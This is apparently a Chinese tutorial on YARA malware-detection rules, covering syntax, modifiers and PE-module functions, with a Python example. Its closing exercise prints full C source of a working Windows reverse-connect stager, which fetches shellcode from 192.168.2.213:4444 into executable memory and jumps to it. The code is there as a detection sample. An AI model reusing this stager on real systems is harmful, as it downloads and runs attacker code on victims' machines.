Yara简介

yara规则是一种用于描述恶意软件样本特征的语言,它由三个主要部分组成:规则名称、元数据和条件。

yara规则由三个主要部分组成:规则名称元数据条件

  1. 规则名称是一个唯一的标识符,用于描述规则的目的或匹配的样本类型。
  2. 元数据是一些键值对,用于提供规则的额外信息,如作者、日期、描述、引用等。
  3. 条件是一个布尔表达式,用于定义规则匹配的逻辑,它通常包含一些字符串或模块函数。

yara规则的基本语法如下:

1
2
3
4
5
6
7
8
9
10
rule <name> {
meta:
<key> = <value>
...
strings:
$<name> = "<string>"
...
condition:
<expression>
}

Yara编写/使用

环境:python

下载python的yara依赖

1
pip install yara-python

创建一个txt文件,里面写入一些内容

1
echo 'I am Lanb0' > test.txt

写入以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import yara
rule_str='''
rule match_lanb0 {
meta:
author = "Lanb0"
date = "2023-08-28"
description = "A rule to match files containing Lanb0"
strings:
$flag = "Lanb0"

condition:
$flag
}
'''
rule = yara.compile(source=rule_str)
matches = rule.match('test.txt')
print(matches)

匹配到会显示规则名称:

1
[match_lanb0]

编码问题

yara规则中的字符串默认是ASCII字符串,它只能匹配ASCII编码的文件,如果要匹配其他编码的文件,如Unicode,需要在字符串后加上wide修饰符

1
$flag = "Lanb0" wide

语法/修饰符总结

strings块

YARA规则中的strings是用来定义软件中可能出现的字符串或者字节序列,它们可以是文本字符串,十六进制字符串,或者正则表达式字符串。

修饰符 作用
fullword 表示严格匹配完整的单词,即字符串的前后不能有字母、数字或下划线。
wide 表示匹配宽字节字符串(Unicode)
ascii 表示匹配ASCII字符
nocase 表示忽略字符串的大小写
{} 表示一个十六进制字符串
? 表示通配符,可以匹配任意一个hex字符。(在{}中使用)
() 表示可选的字节序列,可以使用|表示”或”。(在{}中使用)
[] 表示任意填充的字节数,可以指定一个范围。(在{}中使用)
// 表示要使用正则表达式

注意:在strings块中声明的每个变量都必须在condition块中被使用,否则会报错unreferenced string “$xxx”

condition块

uint

uint是一个函数用法,它表示读取文件中指定位置的字节,并转换为无符号整数。

uint16(0) 表示读取文件开头(第0索引)的两个字节,并转换为无符号整数。

例如,如果文件开头的两个字节是 4D 5A,那么 uint16(0) 的值就是 0x5A4D(小端序)。

1
2
condition:
uint16(0) == 0x5A4D

这个函数可以用于检查文件的类型,例如 uint16(0) == 0x5A4D 就是检查文件是否是 Windows 可执行文件。

**uint32(0)**同理

#修饰符是用来判断变量出现次数

1
2
3
4
strings:
$flag={4D 5A}
condition:
#flag > 1

这里就是判断4D 5A这个字节序列是否出现了1次以上

filesize

filesize表示文件大小

1
2
condition:
filesize>1024

也可以用KB,MB来自动换算,但必须是大写

1
2
condition:
filesize>1KB

of

… of ….语法用来表示在一个范围中匹配一个,两个或者多个甚至全部

例如

all of them 表示所有声明的变量都匹配时,条件成立。

1
2
3
4
5
6
7
strings:
$a="I"
$b="am"
$c="Lanb0"

condition:
all of them

any of them表示任意一个声明的变量匹配时,条件成立。

them表示在strings块中声明的所有的变量

of的左边可以换成任意正整数,右边也可以换成特定范围的变量,用括号包裹起来即可

  • 1 of ($a,$b),表示匹配到$a或者$b任何一个变量时,条件成立
  • all of ($a,$b),表示匹配到$a和$b,即包含了全部括号中的变量时,条件城里
  • any of ($a,$b)与第一条规则效果相同

not

not表示某个字符串不匹配时,条件成立。

例如

not $b 表示$b不匹配时,条件成立。

and

and表示左右两个条件都成立时,条件成立

or

or表示任意一个条件成立时,条件成立

*

*代表通配符,以如下规则为例,表示是匹配变量名以‘a’开头的任意变量。

1
2
3
4
5
6
7
8
strings:

$a1="I"
$a2="am"
$a3="Lanb0"

condition:
all of ($a*)

注意,以下写法是错误的

1
2
condition:
$a*

可以导入写好的库来使用库函数进行匹配

比如PE库,

1
2
3
4
5
6
import "pe"
//判断文件是否为dll文件
rule is_dll {
condition:
pe.is_dll()
}

一些常用的PE库函数

pe方法 说明 示例
pe.is_dll() 判断文件是否是DLL文件 condition: pe.is_dll
pe.is_32bit() 判断文件是否是32位PE文件 condition: pe.is_32bit
pe.is_64bit() 判断文件是否是64位PE文件 condition: pe.is_64bit
pe.number_of_sections 获取文件的节区数量 condition: pe.number_of_sections > 5
pe.sections[i] 获取第i个节区的信息,如名称、大小、虚拟地址等 condition: pe.sections[0].name == ".text"
pe.entry_point 获取文件的入口点地址 condition: pe.entry_point == 0x401000
pe.imports(library, function) 判断文件是否导入了指定的库和函数 condition: pe.imports("kernel32.dll", "CreateFileA")
pe.number_of_imports 获取文件导入的函数数量 condition: pe.number_of_imports > 10
pe.imports[i] 获取第i个导入的函数的信息,如库名、函数名等 condition: pe.imports[0].library == "kernel32.dll"
pe.exports(function) 判断文件是否导出了指定的函数 condition: pe.exports("DllRegisterServer")
pe.number_of_exports 获取文件导出的函数数量 condition: pe.number_of_exports > 0
pe.exports[i] 获取第i个导出的函数的信息,如名称、地址等 condition: pe.exports[0].name == "DllRegisterServer"
pe.resources[i] 获取第i个资源的信息,如类型、名称、语言等 condition: pe.resources[0].type == "RT_ICON"
pe.number_of_resources 获取文件资源的数量 condition: pe.number_of_resources > 1
pe.version_info[key] 获取文件版本信息中指定键的值,如CompanyName, FileVersion等 condition: pe.version_info["CompanyName"] == "Microsoft Corporation"
pe.checksum 获取文件校验和 condition: pe.checksum == 0x12345678
pe.imphash() 获取文件导入表哈希值 condition: pe.imphash() == "f34d5f2d4577ed6d9ceec516c1f5a744"

训练:用Yara规则写一个远控检测

要求:

  1. 误杀率低

样本源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <WinSock2.h>
#include <stdio.h>
#pragma warning (disable: 4996)
#pragma comment(lib,"WS2_32.lib")
#include<windows.h>
int main(int argc, char** argv)
{

ShowWindow(GetForegroundWindow(), 0);
//分配socket资源
WSADATA wsData;
if (WSAStartup(MAKEWORD(2, 2), &wsData))
{
printf("WSAStartp fail.\n");
return 0;
}
//申请socket,并链接
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, 0, 0, 0, 0);
SOCKADDR_IN server;
ZeroMemory(&server, sizeof(SOCKADDR_IN));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("192.168.2.213"); //server ip
server.sin_port = htons(4444); //server port
if (SOCKET_ERROR == connect(sock, (SOCKADDR*)&server, sizeof(server)))
{
printf("connect to server fail.\n");
goto Fail;
}

//接收长度
u_int payloadLen;
if (recv(sock, (char*)&payloadLen, sizeof(payloadLen), 0) != sizeof(payloadLen))
{
printf("recv error\n");
goto Fail;
}
//分配空间,以接收真正载荷
char* orig_buffer;
orig_buffer = (char*)VirtualAlloc(NULL, payloadLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* buffer;
buffer = orig_buffer;
int ret;
ret = 0;
do
{
ret = recv(sock, buffer, payloadLen, 0);
buffer += ret;
payloadLen -= ret;
} while (ret > 0 && payloadLen > 0);
//传入参数,并执行载荷
__asm
{
mov edi, sock; //sock 存放在edi中
jmp orig_buffer; //执行权转移到 载荷中,不要指望它返回。如果想要它返回,修改量比较大,不如把这个地方做成个线程,监听端设置退出时ExitThread更方便
}
//释放空间
VirtualFree(orig_buffer, 0, MEM_RELEASE);
Fail:
closesocket(sock);
WSACleanup();
return 0;
}

代码不细说了,总体流程如下:

(准备工作)隐藏窗口 —-> 初始化 Windows 套接字协议 —-> 创建一个win套接字连接 —-> 初始化此连接(目的ip,port,ip协议等) —->

(正式开始)接收一个代表payload长度的数据 —–> 根据长度开辟对应的可读可写可执行的内存空间 —–> 接收payload —->调用内联汇编jmp到shellcode开始执行 —-> 执行完毕后释放空间

找出特征

要使得误杀率低,就要尽可能的区分开正常的PE文件和病毒木马的特征

我们不能只凭5A 4D,或者见到VirtualAlloc就杀,而是要找到他们之间的阶段关联性。比如,正常的程序可能会用VirtualAlloc开辟一片内存,但对于远控类型的木马,可能在VirtualAlloc之前会进行一次网络通信,并且把通信负载赋值给这片新开辟的内存空间。

因为字符串常量存储在PE结构中的.rdata节,并且是以明文存储的,在这个样本里对IP进行正则匹配可以成为一个特征点

Yara编写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import yara
rule_str='''

rule detection_evil_simple
{
meta:
author = "Lanb0"
description = "根据IP,导入表函数进行恶意远控的检测"
date = "2023-09-05"
strings:
//匹配IP地址
$oc =/((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}/

//匹配VirtualAlloc
$evil_func_1="VirtualAlloc"

//匹配WSASocket
$evil_func_2="WSASocket"
condition:
all of them
}



'''

rule = yara.compile(source=rule_str)
matches = rule.match("1.exe")
print(matches)

这里的误杀率其实挺高的,目前我还没有深入,包括PE结构还没有摸清。